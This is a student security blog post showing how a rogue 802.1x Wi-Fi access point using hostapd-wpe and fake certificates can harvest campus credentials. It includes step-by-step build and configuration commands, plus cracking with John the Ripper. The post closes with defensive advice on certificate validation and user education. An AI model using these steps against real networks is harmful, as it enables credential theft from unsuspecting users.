By Christopher Tran –
Recently I had restored my iPad and attempted to connect to RIT’s network. I went through the normal hoops of entering my username and password. Normally I’d just blindly trust the certificate that it presents me, but this time I was interested. If you notice, even though the RADIUS server at RIT holds a valid certificate from a real certificate authority, my device marks it as untrusted. In order to connect to the network, you have to trust the certificate anyway. As a security-conscious person you MIGHT go through the hassle of verify certificate serials and other information…but where would you verify it? According to Certificate Transparency searches, this certificate doesn’t even exist which eliminates any kind of baseline. As a normal student, you’d probably just hit trust and move on with your life.
To give some background, 802.11 and Ethernet implement a security standard called IEEE 802.1x. 802.1x is responsible for facilitating the communications between the client and the authentication server through the use of an authenticator. In Ethernet networks, you will generally have to position yourself between the authenticator and the authentication server – that way you are able to intercept authentication requests and fake authentication responses. However, in a wireless/802.11 environment, it’s as simple as setting up a rogue AP and you’ve pretty much taken over being both the authenticator and the authentication server. For more targeted attacks, you could even set up an entire fake network and the user never know.
I thought about the implications of this and if I just generate my own certificate and prop up my own rogue access point, would the end-user see the difference?
Apparently not. In the second screenshot you see that the expiration date is different, but that’s easy to fake… so – how would you know which one is the valid one?
The issue here lies in a combination of things – the drive for ease of use and simplicity has negatively impacted how secure a system is, simply because of the way it interprets or presents potential risks or security issues in a network. In this case, my iPad has no way of distinguishing between the rogue AP and the actual RIT network. I have no way of viewing the MAC addresses of the AP nor can I verify it against anything since I don’t know the real AP’s MAC by heart.
Proof of Concept
DISCLAIMER: This was done in a controlled environment.
Setting up a rogue access point requires nothing more than a wireless card, a Linux distribution, and a fake certificate authority. Brad Antoniewicz of Open Security Research actually released a handy patch to hostapd that bypasses the need for a separate authentication server and implements some other neat features as well.
In my case, I utilized Kali 2016.2 rolling release since almost everything you need is already installed.
After installing Kali 2016.2, install the following dependencies for building hostapd.
apt-get install libssl-dev libnl-genl-3-dev
Download and decompress hostapd 2.2:
wget http://hostap.epitest.fi/releases/hostapd-2.2.tar.gz && tar zxvf hostapd-2.2.tar.gz
Clone the patch from GitHub:
git clone https://github.com/OpenSecurityResearch/hostapd-wpe
Apply the patch to hostapd and compile:
cd hostapd-2.2 patch –p1 < ../hostapd-wpe/hostapd-wpe.patch cd hostapd make
In Kali 2016, you have to make a change in .config before compiling.
Comment out “CONFIG_LIBNL20=y” Uncomment “CONFIG_LIBNL32=y”
Once the compilation process has been completed, we’ll need to generate the certificates that hostapd will need to impersonate the RADIUS server.
cd ../../hostapd-wpe/certs ./boostrap
If you would like to modify the certificate information before bootstrapping, you can edit ca.cnf and server.cnf to change the Certificate Authority and Server Certificate information respectively.
I found that while changing those files to emulate the valid RADIUS certificate, I had to change the default policy that OpenSSL uses to verify compliance with the CA policy.
Change the following line:
policy = policy_match
policy = policy_anything
This tells OpenSSL to accept all inputs from certificate requests as valid. Run the bootstrap script once you’ve made this change.
Once you’ve completed modifying and bootstrapping your certificates, we’ll go back and edit the hostapd configuration file.
cd ../../hostapd-2.2/hostapd vi hostapd-wpe.conf
Change (press i for insert in vim) the following lines to these values:
# wlan0 is my wireless card interface, change wlan0 to what your wireless card is Interface=wlan0 #comment out this line #driver=wired #uncomment the following and set ssid to your preferred wireless network name ssid=Definitely-Real-Corporate-Wifi hw_mode=g channel=1
Once you’ve made these edits, save and quit (:wq)
You can proceed and run hostapd-wpe:
EAP-FAST Phase 0 credentials will be printed to the console and saved in the hostapd-wpe.log file in the directory you ran hostapd-wpe in.
Once a device connects, you’ll see the credentials in the form of an EAP challenge/response. hostapd-wpe also conveniently gives it to you in John-the-Ripper format for easy password cracking:
Figure 3 – EAP-FAST credentials passed to hostapd
Throw that into a file and open it in John-the-Ripper and you have your password harvested from your rogue AP.
Figure 4 – John-the-Ripper cracks the password!
Luckily, this type of attack isn’t possible with properly configured client devices in a controlled organization. Unfortunately, on any university campus, that’s almost impossible as long as there are personal devices being utilized. The good thing is that most computers/devices controlled through MDM or GPOs are configured properly to reject invalid certificates and different common names. They even go further to disallow users from adding new RADIUS servers for a certain WiFi network.
On any device that can be managed, it’s recommend that common name and certificate authority validation are enabled in the wireless profile. On any unmanaged device, you’ll have to rely on educating your users the best security practices – such as loading the certificate authority’s certificate onto their device and setting these types of options manually.
The ideal deployments of 802.1x utilize EAP-TTLS, which uses certificates as a way to authenticate to the network reducing the attack surface and the potential for credential compromise.
A network can be setup in the most secure manner, but it relies so heavily on humans not to mess anything up on their side in order to keep the network secure. I think a common ground needs to be struck between ease-of-use and security. Not only that, but educating users on best security practices and how to best secure themselves is also necessary. Because in the end, “a chain is only as strong as its weakest link.”